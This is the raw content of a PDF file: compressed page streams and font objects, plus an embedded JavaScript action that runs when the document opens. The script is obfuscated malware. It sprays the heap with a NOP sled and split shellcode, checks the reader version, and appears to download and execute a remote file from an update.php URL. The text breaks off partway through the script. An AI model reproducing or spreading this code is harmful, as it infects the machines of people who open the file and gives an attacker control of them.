x��YMs�6 ��W�=�ѷ�c�|L2�t�x���� $ � M��,d'�c)�E<�eR��x���%4MV ��5� >|�K��%�r�� O^�1['�). <��|�zq \�l�H �i��:Y_`9OVsl6�d:GV�ɫ � ���} ��z��� >aʡ�{ m ~�l�I�Klg�d��e� �To�ٿ�R�� ����_f� ��̸Z`sq���736fx� ��
�&� � '� �����'�{y;� ��� 8��@dx�ı�&� �X� �s����}d�'r{�ҏ �6���O�1Nn�� QhӢ�� b/�� M�Ai��\���ʿW���k��߀T�
��m� ��
�� ���`/�`�� Z��o69 ��c�� ';��d{d� j��)�-��t�DE8�C�Fر�B�� �� Ҿ�a� N }P
A�L�E+� E�pXէ �he���c����� A1tV �\k��� ���n��A�$�U +3�J��u &7ֱ��A"5Vr�俙h� ��@�L:t Q ��N�}\� s^eLѠr �l:�D��)MS���}�RiYs " D.q�6�]�E��� G�:*��3ۮb�9����A* �U�I��Ewm <�%� �| Jc� ]O6���L�j�cT� ������)�Q3���`�U羁y5�d �� �{�Gע�\�Nr�{U�� Z j)�{��`T���6 ��5*J� � �%xM� <-� Y � ��m� ê��
���EA�iM �+b{�E�� �����g^�>� �h�� ��%˂BvP %���[ �{�S)v����3�Nz.�,̻6�ੰ��m� �n�-A��د ��[X�Ҫ�! xg{_�"��� � ��!��^I�KZ(F�n / %�@� �i .H��)�m�^Ƕ r@��87 5�/E }ͺ�RZR�%�WR �4^��'؉,ܘ��x� � Ϣ[�m�=t,��:\��]V�&z: � �U?ǿ, ڝ�/ d]�'0�# ��a_������
9t�tQQ�� 8�{:�&���wbt>� ]� �U52+ # 7> g2�U���� ����JK � �Hjg�{n�2�K�>� �c��[s �" ��R�R羖$ �N8�f#e\�� xp�D��I� &�ۢ_� Z �A Ƹx ��G�h
k�����֤6 � s���Y��8`�)OD H7 7h 3� �����S檫 sC�ȵ���1�� ^Ⱥ� s ���!� � s{ΑD
�<`� ��*&8���.��T�Gq� ��p��ą T�I ���yhg�
���Y: �0�����Ʊ���s�%�� ?Ǯ� J��+-�-��!�l�Lw��
� 7==*� �n��-)+} ��� UA�� 1��nT�2��,�N#��א>Ҧ��ϳ�(g,J�J��oD���;e��� N�ْ�
7`й� Tү!��4 V�mL���I�:T�25����Jl7t3%
`�G%.�O�4 �r� ^��o �'_v�g�ѹ �3����d����9�;�߉�f� �m���� �
Wx�� ���-��gL�f
endstream
endobj
13 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 14 0 R>>
endobj
14 0 obj
<</Filter /FlateDecode /Length 1433>>
stream
x��XMo�8 ��W�q��Zv����
�X�
�X =P"-ѢH� �(�~ �$f '�v� �
��83���L�Ŋ �� �-}�� �� �j��^��Q�̦S:�Л�ɷۛ��&��<���)-���Nf�bF�U�MgT���}N�
}�?>'��}|�$�o4���w[ ~'_��� ��E6[�9�/�� �i�Z!~�J�g�� � �?;.�:=͖���� � a�h�i�^�0� ����A؝O ��w��٭>��� "�; ��:�O��� �\�|W��& �s�#�=r�G u���4� '�mC}G5��;�2z� 5%����.Gbvd:;����g~��Y�FSg�n�� #9� �Ip���h
�"g�!}E��vL�.?�; �P$Fڠ�-��*�\ � n ƺ>�7�;�k� n}�FjN����ji��>y�S�^� @o�B~ � �4T��aח�"�� ����Ʌ#��&d� S�*��ِBٓ���XQ K�!�dF��%�^(Œ ���T�Zm��6��O���d X�� )$ �s#�ʷ����+��R*A� �����<� c4�l�t�)3 �Z#pr �9�j� �X*��z�� ]�A�F�l���H�EZ -# �� �Tc�|K�� D. ��4�C`�@,�k/ ��� �"� ���-U�)�."�(
����Ah>"r��"� �� ���f��
�(��4⎪5�rY��X �rR���#�U�*�85 �F�"� ח�zN������@F.]�� �& `�P���k ��1)ވs� �'� S�'jx AG� �V� Q� �`�F ����MaP%pX�Z4i!G��2 u�B��ޗ �!y�R�G�nF�# �� |�
�� "�.� Y\ �& �.HUG2*Z�����x � �hQ�.��D�:n0���ʘ� � �:�C�]=*�rk,O 4�� /Ұ+c@tۂZe �~�]Hj �LA�� W�!)�I5��� e�]�J�qć�{ �f ھ Q�7�xG
�� i!��<�{cD��$E��!� # � W�#t�- s%�)p ����I z Q��A!�!��ըG�)<��g�*Β:�yD$k����Z���"��wlt�JE �
p.c0, V ���!�O�9"� =�C�wMtkg҆9bXl�B� i �Y �X� u�(k��[y V q% q,) �"z� v!�� m| �� �J֡�o�
Ɉ|�Тe��P�\ �J�8f�t� Ů� �@�c��$� �u�X�5�X)�b�ᡁI
:�� �Iגl � G $��� ͓ �'����E���3��1��wb N i�O� ����0
z`���b�)LR�Q9�� �����Z�*��b�_֭���b� �GM��+ 2HU�e�^mXb��G5}����A&Xێ� � �� ��I��p��^� tĖ�×^��ֻЉw� ���I l���:���y wr3��) ��WL�g�l�8 ��_�������a⟯�����c(�%�@v�s���{�/��
endstream
endobj
15 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 16 0 R>>
endobj
16 0 obj
<</Filter /FlateDecode /Length 1495>>
stream
x��Y]o�6 }��� ������ �� -: m Cч+�� K�BJV�_�C;���MҮ\ ű,�G��{$����z �;l �� ^ �7؊ыsz�zJ�E2 �yN��G�_wN��4�̒� ��4_$�5�M�����I2�RV�� zi��~��p���� A\� ����ڂ�=��2���j2O� : ����1��V�߾��;|��ǀ�ˌ� -��d��ϨM�^i��
� '�9�#L��b�'���o�����#8��O������N�c�J&k�i>G9��+�D� ��䉵=��G u���_�]���q]M�Q^ J+.)3�I� �V�悊��*Y8 ׂz��@)W5�~� -9 �N��σ<;@ޔ�Q��p ���lɵ&�PVʞ����¹ �U�H� `�g;�+�;A�)�P �ȲP�$��J'��� �#������b��ƪ�̖X )b�]� xS��@�_�5�u��J� ���ׯ([�Z�LM� 2�
�� {*�M� ��� +��U\�� h��� t��h:[�% �s�~�IPS ���� � U� �0"W)xZ��tԳ8eD? p������W�RVuu��١� �7�2�v�PVv�\) �%Y�#v��&����M r���]� � ��� �i�j� ����+I�I�[htoLT���NB{�� �&�I �ހ�[� I_l) Ƨx�Ƅ; D���.��. z'{Y� 9� � ��� ���fQy� 8 ��m �J��V; �֖@F�v0��k=E?�: �2� Y�Pؚ/�1��3^e��d n|��% ����B W2|i0��,hp�� �� z� ��Z� �J{u� R| ;�k� ���U-� |�
9 ��A e��̰�,�o͠�V)E�E�I�O�ہT���Φ�� �]�|�[� �" T�w��XT��c�2@�)g�#ٖ�=��B?!#� "Ik�- �Iz/L r��6*�@z[S�� i�~ O��^�`n+1 �mxQ ��}��9�8�h)�o� Y�7 � �Z0%ϣ" ����!N�
�G�. g JE�塨�C������Cy�W�
M�� I(*�@}NAA�y!;���*��dm��w ��xg��|ޢ] -l�QA����� n
O�!.�0f �w�� �� `�� �n�m`�-u �o�m說� QA �; �d ��1���5�0 o N�p���, TTȁ�.:�.� �,�͝��pݣP�² #B��;}�bĂ}Ԣ0 hĂRe�F�i W*,i� ��-� j�A�� d� �l F-w�a��Q ;
��X� �<����� ��� ��3!�F�zJ����s'�D ��t��j��Ԟ��+J2y��6 �{i'*�0)ބ�� ��7qh �ȓ@o���]m���P� Uc�@c�Q�~�� �=/���%��ѷW쾟m�� t��P�*`�� Y��F � � �e�^)w���ui�Z B�ޛI7�&�� G�&*�@e� � c _��J��Q� (�[��~ @ �G��4&�O�����?]%��� ���� �@Y�+��c�J�7 = .$-�9V*8� x0� ς��
endstream
endobj
17 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 18 0 R>>
endobj
18 0 obj
<</Filter /FlateDecode /Length 1483>>
stream
x��Y�n�8 |�W����K|���� ],� X,�>P %1�D� +����nj�R�� D�M����̜!=M�k��� �K|� �� ^��� ���c�J�S\ xu1���8� 1�-��9?4�r���q6O�s�׳d:G���� ^j|8|| �����I W�����ݔ���V�d~��l��W���������F�߿�� ��vĻ��ˈ� ����js ���{��0n4�4�,�O8��I ��O ~��7_{߁��� �� � �8V�dv� �%ù�}]� & ���#k�H�� ���/�a��q�� ݢ3��"�;�rlō�(�iP�l+ ��:dF5]�w��5�Xp9
l%zTB�GV�� �8 ��� �j�E*KX�4 N�i� F;��U���"F�Ɨ �Qm�T ��J�-R��vTس#la����� W9l�u��W-.� {元�� � |^ ݄)h_V�E���uu~��\ �Dj� T�%�j 캆 M30-�(��c�� ~� �\ A�- i����Y���LG�L �u� � �`��-�V# Y��Oݺ �d�̛tT� �j�8�� ��7|(��
n� ?b
9� v"�A獕��kUK�\r�%:�� oĴT �h}�MI�K���t�pw� �Q � "�B0�m� �� :�) �Zrf� 7� �*�
�j3���䓠X5i��� � �`�n/Qֺ��Gi8�S z�� 5�n��1�.#� � 4��,���*�nΘ��ZI�9�/� =D#[J]�Q�_�TiJ�� � �0��n ��0C{��� ������0"W�J��a ��T �f*�֛ i�tw�0*�v�KlY5 � f��9UCf�t�t �k ��n㋂�R�s�>Wn��F�{AY�� *�"� ���K&i�"����>��L2]�� �� �Ƞ��iJ�v˗��>*�p�� X/(P���1~�/ A�:& o"g��an�Ȗ��t�+�&x�%� �Ĩ��,�\����J�S� �k6���I����"�����[α �
���YD� �e�� �� � �> ��G rD4Jni�툷 �H)�F��$�Y���vd�68 %�� mT� �"+�أ��� �� � A�jƌ��EA�"Pް���� X�R�%KEZ+zsz�1a/" =a�r>�}��� �Y.D^hT� �b�U��X� 5Yػ t{� �V�K�E�%����P2��� RĒ'\SG�� ��5.��|O .�& ���F-s����� ���[V ߅4MM�S �K *.ɗ�+���a�[� �yD+:�N �����g�2х � �r��{ 1*ވT'�
�u��Z ��A\}z¿� �a�E�W jl _،� �&�?k � ��8"�= �8�q� �9ypD�]_0&�YD��� 5B�� ��M|���ۚ� ��eW`'|��T�Q�GԸo*�Sm�\4
��`<u� * ��ݨ�#f�R��.wM�A<�5�s�_~�2� t�l��{��� �� �jԤ�h�= p�"�6���b� �#�_q&?�$���H��2�ȟ �z ~ǘm��ן1:QJl��K ��'��'� p���
endstream
endobj
19 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 20 0 R>>
endobj
20 0 obj
<</Filter /FlateDecode /Length 1465>>
stream
x���Ko�6 ���+β�(��<�l�H��Hb�(�,(���H��"˿���8�S�I� ��#KÏ��syęg�-F���%>~�K�� �z�� O^.��d�9.*���}�vr ��b��V�i��&ۜ�l����n �|��œ� <�xws�
�����{!>c�K�G�]
~�b�͖g�-��r�� j�Z� ��� .���oG< �7#�W؞�g��͈Ǝo��a�h�y�[c�q ��0@ �����߿�z� ��� �o �%96�lq� �5ù�}�� �w L�DnO���@}M�z � ��[�&s�v(!
Uz��p�T�A'��
>�ى��w@�;�_ :�!}��B+��p1*�Pu���Bu ����-��(��m�g��Dn�D-u� wq�[4R�'\
o
ζ}�ډ���%FUJ iz7�� F�猵� �ʥ��v(��v)�7�w�N� D�\�!d���h`m�aT�� �r���Ab_0 !�W X)�� %����;4�O
��� �� !%��M$� �e�;'� ��bU���� �p- � N ސKC2�l|̱ ��;�1����M �HT�PUԌ� ���!�=r���2�0���!#J7Ԟ�ʔȕ�y�(�: {� l ;K���LR�H^����<� ^ ��Lz�~�m� E`����*�= �y� �> ezԢ�e�\���ZGꪵ0L��(�� �&��`�bb �. q�b' B ���L�`-�N�� |/� I�y )�Wk� �&F1� ����Z�C_�K5\_S�%9��oE��.�ڋ+�% �d�j.H0&4y� [;2~�0lj��yɶ��J�( �Uiƾ�2m�ZGZ�V\XAY~��xx %'�C[}� ����� ! T4��� �1� N�
r��?�p �Kԇ�j�.p�d �)Y� _��k� ���d��0ެU6; )y �� z���,RZ��T� E�R�e ����p���@�!���]9s��%Ŏ��9բp�w � T �[�!Sd�<�;��V� � ;U��Б�������Y��cg�#� R�&D�=�&�Ǟ� ��� F�{��B���nd��l ������܂�z��� �'%�*��_������9��V*Z�B ���{�� v�\��a^EB \�+>J$-�U��G > 'v�sMA]95D�5%�]!�O
3h}c�� n�r�
�v���@'�Չ�I�*��� �+)u���� ����p�H'�ػ� �o�X��{����l .rnG��{� �PR�,#�p�-� �� � �҂ }"���\% �Wik" M�֊ЈE ���6)�"���v��Â��U�EU cs- ���+T
&�:���� 9���h.*>; A@> ��i���{�Z� t�{�"-t�&� o�yE]����, F
1�"z/���nUR�HJ�� ;2��Ic ��U� �('�X�$W�L�}����_k�� /"!��k����= ���N)�#��f
�{i���KUӓء�* Glv��� a�w ��n�r���w��7o�^�=����7 �]��� C'8�s<a��y��f��O�郞
endstream
endobj
21 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 22 0 R>>
endobj
22 0 obj
<</Filter /FlateDecode /Length 1501>>
stream
x��Y�r�6 |�W�c���bI�c�\&�t:I<��d� � h� - } � ��|iZT3ԅ���9g�,�q6_b� �y\��7�H oy����x�f��" �q����������$&�Y6;�Ƙ/�� N��|��r���( �x7�+��7?��� ���Q � ���gW���,��� ��y6]�\��/� k�o�R�~��{��n����͈� �gg���fDc� ڨ0n4�8;�c q �0@ ]� ���������>���
D�wJ ��lr� �9�9��\�3F ���� 9����M�| ҿ��g�X�� ��T �%�F (��
^��c %��-�5 ��6�{5� j� ��P K� �w��[:�[" 8v#d��{f���9�u � _ ��UD ���ck�B�(�I O�� � 899A��
���d��k� >�/{�1� 2�� Jt[ll�y&��l�n`7) /�����J2����R8�G� 3T�t��,U���-�-L�0T��_� V���zO�"��K�y��� + ���WY�A#��a
�KK �.GM*x4��-��o��Q /� ��$��E�{��R�Ez���YD�R1G%Z ôZ�Yb� �-c,)���
Y� Y�Y � xM!�(ߡ����WI1G��U�e��"+����
D�X b���o��e� ��͕WI�?��� ��`}A"� ֊ s25 �2��HR N
��(ȉ*-��
O��� k ��E���� ��It�`L?P%� �^B �Z���� ��S�2��`�b��t��#WAv(8� .I����C+ C. =�z - se�z�6� w�
��eE�S�&�Z t�JK� ֔��\�xU. ɒ���m�r�&� :D��k�B��S�B��� +b��� � ��lߺ�����Ơeh��c�W[�*�s�ȯ�Q�Ԫ��O"^�������F>�#yh�-���>ë^a]�ba �X�nK��)@�s�]K���{�b�(�� N> ]�H>�����Z��kPQ h/���- ��ˉZᢗ§� ���J� �� >��ՕNSss�Z�l��I���Ś� ��5�g �CG� �,"Ul�
� ���Bի���E$9j {7����/��5�����a�Kzfv���J
9b�?0v�^ ����#F���n pUۖ@���N�;�����\˙ *m�#. u�͔]�cW, ay �4 2Y \NJ��x�th� �| L��l 䮱z��GO�%RE�\ �����F�1_��15
'Pה�� J�9b�2�k� ē*�K�L4)y� ̾ ��V�T� �F1� ;/ J#��M#�=�HQ�� ( �4c�h�n�qk|� ��w�_a�C{!� �Li�n�����,뛪̊q\ � ǔ�'�Zن�!�uݱ�q��pR �PR� � �M;��v�| ظJ
8��n ,�3�g���.��!� ;�a+��*K��K���n���:�ID����]� � ۇG7l�"����> �=9� y��(7 A�1 о�â֭ �D�vt��� ar{���^��4���[�7 �N�#!Y���'&��rq�x+ �� � M�'��G ����
endstream
endobj
23 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 24 0 R>>
endobj
24 0 obj
<</Filter /FlateDecode /Length 1321>>
stream
x��XMo�F ��W̱�0�d}��|"A�"��� rx$��JK.�K�f~}ge;�l7AҲ H��R;�vfވ�h�A�9�����'��x��Q̞^��� �u4��*Nj���7 ����e���Cs���� �h��f G� �
O^�xn����%8����o���9���ή?'^o�� ��*Z�q���/�[k�/�R�~�� ~���͌�%6���z{3cm���Va�ќ�h�B?� <v�0A�=�=����nG��9�~ �� �,�8��(�D�Պ�\�] |���w ���>r�g u���y��c� ִ �S O�� ٠�n��i�g�� �����tȍEb�Dj]����!-ŷ�� �f)5� �/%��~����O�8>!6��]g�U�
H�TH �X=1y�K�� �^��M����`�[ J<�R�lJ��� �V� �8���e���� U�AR�y¯=�dڗ s�5ז ,y�Lu�� ��� �� �0����� � sh���s�9*��b-�Vtʷ�ŋ���%�uJq4 �z���l�jUɤhGri:� �I� �كBbö*�Q&J� ��� ��D��7ė��wM`g* *��jY��B��� �u�( ��� kY�|Ьh���~?�,�R7� �ȓd$�δ�/ ��� ��X�w
��L�4���|@�Q��j� � �� �O�w��0m$��''�<R�T�.h���ކ��T*��&x[�48{3m G�����SJ�'W VgP���& S��_^SM�K��B�B�ɩ� oT� Դ� �*g;�6J���,x3o s ��p�N�Ь}�� U�� ؑ( � ������� �8V/q 4(5k�
�&C��_b� �K��?šRN�p]�$��b�� ;i�/F�j�5mU #�Z ��w[SN� ��s ���� .�� /��Q���
Ho��� �HQ�U�< � ��-����Ϲ��~n[�E���m%��-rG�"ylW����b��o �� ��KC��N��� i�{� ?�U& =�ܣ��M��^�+�Q�r�"0L��t:/
�Xڝ$�v �-�2� ����HtUP��Gs�L讜�,�8�jʪ�� lf92e'�,w�sT"=��Ѷ'%�r$�S���
�" ���0l �&��+h�� �q!�>�K ƌIQ�Tx�f���.�x{� �$���X�M[��y%� � [ұ �@s� ����@�� ���{1� u�L�ˑ���a:nl;m\Y�S�[0FH��[t��� C ]�a��� k'E< I.�BI ����ג&�fe�P�. JQ śR4]�Ž�3)�H��j&���+�fJ
� '�� ��Y����#���_1�� ���g����ӫ����� �l���x mn_�5 �1��4�����o��9P
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
11 0 R
13 0 R
15 0 R
17 0 R
19 0 R
21 0 R
23 0 R
]
/Count 11
>>
endobj
25 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
26 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
27 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
28 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
29 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
30 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2430>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?�(��K9 (� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(�@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ hX �).]s��G���� ��۬I � ���D�j�h�Ki�?5�*��5,�3O��BG�j��_���(� E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E u8� V֢T.䁜*�)V*z�����a� �>� 4��x�ֹ�S�ש����*(�� ��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)�G��@��nڱ�wd2�R
� QILAE P E P E P E P E P E P E P J �RQ@ d���P S%�icT`8���4T(El�rl(���B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� � � pE% bP&�L���
�R�/����� � ��)��5�n�)r�\�h��Ѐ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��|i���� e k~���3QJ�>vg���J� QTPQE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE S�}� �E -2 a">=�Ⱦ^�wz���� TB�(�((��(��(��(��(��(��(��(��(��(��(��(��(��*H�iA*G � Ml�e�f⓽� "�6���I$&% �s�S �����wO�M���J� QV E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P @89���.#� ?6:b��Y�=M% *)QE @ QE QE QE QE QE QE S�; UI � ��i����*\�b�"��kIV2� rFy�)Fq��� ��QE c
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��/X �ǡ�Ik+�� 9 � �xs� �гH��[ �N+�� ������ �\�fx�W$�{�y�Ӄ�� ����M���䔟r�l�
(��((��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��*kkg��b��$� Z���1)�g��>�˺;tTQ�?�YNR�,P �
� �8���� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 27 0 R
/F2 28 0 R
/F3 29 0 R
>>
/XObject <<
/I1 30 0 R
>>
/Properties <</OC1 25 0 R /OC2 26 0 R>>
/ExtGState <<
>>
>>
endobj
31 0 obj
<<
/Names [(EmbeddedJS) 32 0 R ]
>>
endobj
32 0 obj
<<
/S /JavaScript
/JS (��var dkBf5m8ez=new Array\('sI0VlNTVRS','ba5skywBL'\);var ftMRyijdtO=new Array\(\);ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array\(\);var pDGMEz9Ab;function yQz94YUyH\(t8qImRLy, uO6hGkBKd\){while\(t8qImRLy.length * 2 < uO6hGkBKd\){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring\(0, uO6hGkBKd / 2\);return t8qImRLy;}function cI0ZIhIXc\(z68pN8bAl\){if\(z68pN8bAl == 0\){var eIN5pLACV = 0x0c0c0c0c;}else if\(z68pN8bAl == 1\){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array\(\\"%u5350%u52\\",\\"51%u5756\\",\\"%u9c5\\",\\"5%u00\\",\\"e8%u000\\",\\"0%u5d00%u\\",\\"ed83%u\\",\\"310d%u\\",\\"64c0%u400\\",\\"3%u7830%\\",\\"u8b0c%u\\",\\"0c40%u708\\",\\"b%uad\\",\\"1c%u408b\\",\\"%ueb08%\\",\\"u8b09%u344\\",\\"0%u408\\",\\"d%u8b7\\",\\"c%u3c\\",\\"40%u5756%u\\",\\"5ebe%u0\\",\\"001%u01\\",\\"00%ubf\\",\\"ee%u014\\",\\"e%u0000\\",\\"%uef01%\\",\\"ud6e8\\",\\"%u0001%\\",\\"u5f00%\\",\\"u895e\\",\\"%u81ea%u5e\\",\\"c2%u0001%\\",\\"u5200%u80\\",\\"68%u0000%\\",\\"uff00\\",\\"%u4e95\\",\\"%u0001\\",\\"%u8900%\\",\\"u81ea%u5\\",\\"ec2%u000\\",\\"1%u310\\",\\"0%u01\\",\\"f6%u8ac2%u\\",\\"359c%u0263\\",\\"%u000\\",\\"0%ufb80%u7\\",\\"400%u8806%\\",\\"u321c%ueb\\",\\"46%uc6ee\\",\\"%u320\\",\\"4%u89\\",\\"00%u8\\",\\"1ea%u45c2\\",\\"%u0002%u\\",\\"5200%u95\\",\\"ff%u0152%\\",\\"u0000%\\",\\"uea89%uc2\\",\\"81%u0250\\",\\"%u0000%u5\\",\\"052%u95ff\\",\\"%u015\\",\\"6%u000\\",\\"0%u006a%u\\",\\"006a%ue\\",\\"a89%uc2\\",\\"81%u0\\",\\"15e%u000\\",\\"0%u8952%u8\\",\\"1ea%u7\\",\\"8c2%u0002%\\",\\"u5200\\",\\"%u006a%u\\",\\"d0ff%\\",\\"u056a%\\",\\"uea89%u\\",\\"c281%u015e\\",\\"%u0000%uf\\",\\"f52%u\\",\\"5a95%u0001\\",\\"%u8900%u\\",\\"81ea%u5\\",\\"ec2%u\\",\\"0001%u520\\",\\"0%u8068%u\\",\\"0000%u\\",\\"ff00%u4e9\\",\\"5%u0001%\\",\\"u8900\\",\\"%u81ea%\\",\\"u5ec2%u000\\",\\"1%u3100%\\",\\"u01f6%u8ac\\",\\"2%u359c%\\",\\"u026e%u0\\",\\"000%u\\",\\"fb80%u7400\\",\\"%u8806%\\",\\"u321c%ueb4\\",\\"6%uc6ee\\",\\"%u3204%\\",\\"u8900%u8\\",\\"1ea%u\\",\\"45c2%\\",\\"u0002%u520\\",\\"0%u95ff\\",\\"%u0152%u\\",\\"0000%u\\",\\"ea89%uc28\\",\\"1%u0250%u0\\",\\"000%u5\\",\\"052%u95\\",\\"ff%u0156\\",\\"%u0000\\",\\"%u006a%u0\\",\\"06a%uea89\\",\\"%uc281%u0\\",\\"15e%u0\\",\\"000%u8952%\\",\\"u81ea%ua6\\",\\"c2%u0002%u\\",\\"5200%u0\\",\\"06a%ud\\",\\"0ff%u056\\",\\"a%uea8\\",\\"9%uc281\\",\\"%u015e%u\\",\\"0000%uff52\\",\\"%u5a95%\\",\\"u0001%u9d\\",\\"00%u5f5d\\",\\"%u5a5e%u\\",\\"5b59%uc35\\",\\"8%u000\\",\\"0%u00\\",\\"00%u000\\",\\"0%u00\\",\\"00%u0\\",\\"000%u0000\\",\\"%u0000%u\\",\\"0000%u6\\",\\"547%u54\\",\\"74%u6d6\\",\\"5%u5070\\",\\"%u7461%\\",\\"u4168%\\",\\"u4c00%u\\",\\"616f%\\",\\"u4c64%u6\\",\\"269%u617\\",\\"2%u7972%u0\\",\\"041%u6\\",\\"547%u50\\",\\"74%u6f72%\\",\\"u4163%\\",\\"u6464\\",\\"%u6572\\",\\"%u7373%u\\",\\"5700%u6e\\",\\"69%u7\\",\\"845%u6365\\",\\"%ubb00%u\\",\\"f289%\\",\\"uf789%\\",\\"uc030\\",\\"%u75ae\\",\\"%u29f\\",\\"d%u89f\\",\\"7%u31\\",\\"f9%ube\\",\\"c0%u003c%\\",\\"u0000%\\",\\"ub503%u021\\",\\"b%u000\\",\\"0%uad6\\",\\"6%u8503%u\\",\\"021b%u\\",\\"0000%u708\\",\\"b%u8378%u1\\",\\"cc6%ub503%\\",\\"u021b%\\",\\"u0000%\\",\\"ubd8d%u02\\",\\"1f%u00\\",\\"00%u03ad%u\\",\\"1b85%u00\\",\\"02%uab\\",\\"00%u03ad%u\\",\\"1b85%u\\",\\"0002%u\\",\\"5000%ua\\",\\"dab%u850\\",\\"3%u021b%u0\\",\\"000%u5ea\\",\\"b%udb31%\\",\\"u56ad\\",\\"%u8503\\",\\"%u021b%u0\\",\\"000%uc689%\\",\\"ud789%\\",\\"ufc51%ua6f\\",\\"3%u7459%u\\",\\"5e04%ueb4\\",\\"3%u5ee\\",\\"9%ud19\\",\\"3%u03e0%\\",\\"u2785\\",\\"%u0002%\\",\\"u3100%u96\\",\\"f6%uad6\\",\\"6%ue0c\\",\\"1%u0302%u1\\",\\"f85%u0002%\\",\\"u8900%u\\",\\"adc6%u8\\",\\"503%u021\\",\\"b%u000\\",\\"0%uebc3%u\\",\\"0010%\\",\\"u0000\\",\\"%u0000%u00\\",\\"00%u00\\",\\"00%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"8900%\\",\\"u1b85%u000\\",\\"2%u5600\\",\\"%ue857\\",\\"%uff58%u\\",\\"ffff%u5e\\",\\"5f%u01ab%\\",\\"u80ce%ubb\\",\\"3e%u0274\\",\\"%uedeb%\\",\\"u55c3%u4\\",\\"c52%u4f\\",\\"4d%u2e\\",\\"4e%u4c44\\",\\"%u004c%\\",\\"u5255%\\",\\"u444c%u77\\",\\"6f%u6c6e\\",\\"%u616f%\\",\\"u5464%u\\",\\"466f%u6c69\\",\\"%u416\\",\\"5%u750\\",\\"0%u6470\\",\\"%u7461\\",\\"%u2e65%u7\\",\\"865%u0065\\",\\"%u7263%u7\\",\\"361%u2e6\\",\\"8%u6870%u\\",\\"0070%u74\\",\\"68%u7074%u\\",\\"2f3a%\\",\\"u732f\\",\\"%u617\\",\\"4%u6c\\",\\"6c%u6176%\\",\\"u7372\\",\\"%u382d%u\\",\\"632e%u2\\",\\"f6e%u7473\\",\\"%u2f3\\",\\"8%u7075\\",\\"%u6164%u\\",\\"6574%u\\",\\"702e%u\\",\\"7068%u693f\\",\\"%u3d64%u\\",\\"2633%u\\",\\"6572%u3d7\\",\\"4%u6b6f\\",\\"%u9000\\"\);qY8to5fN9 = unescape\(qY8to5fN9.join\(\\"\\"\)\);var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - \(yMGJO436pz + 0x38\);var t8qImRLy = unescape\(\\"%u9090%u9090\\"\);t8qImRLy = yQz94YUyH\(t8qImRLy, uO6hGkBKd\);var wSOl4h7B = \(eIN5pLACV - 0x400000\) / mjIyzX45B;for\(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++\){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function kMa7ScnUN\(\){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString\(\);app.clearTimeOut\(pDGMEz9Ab\);if\(\(qZbpL6A4 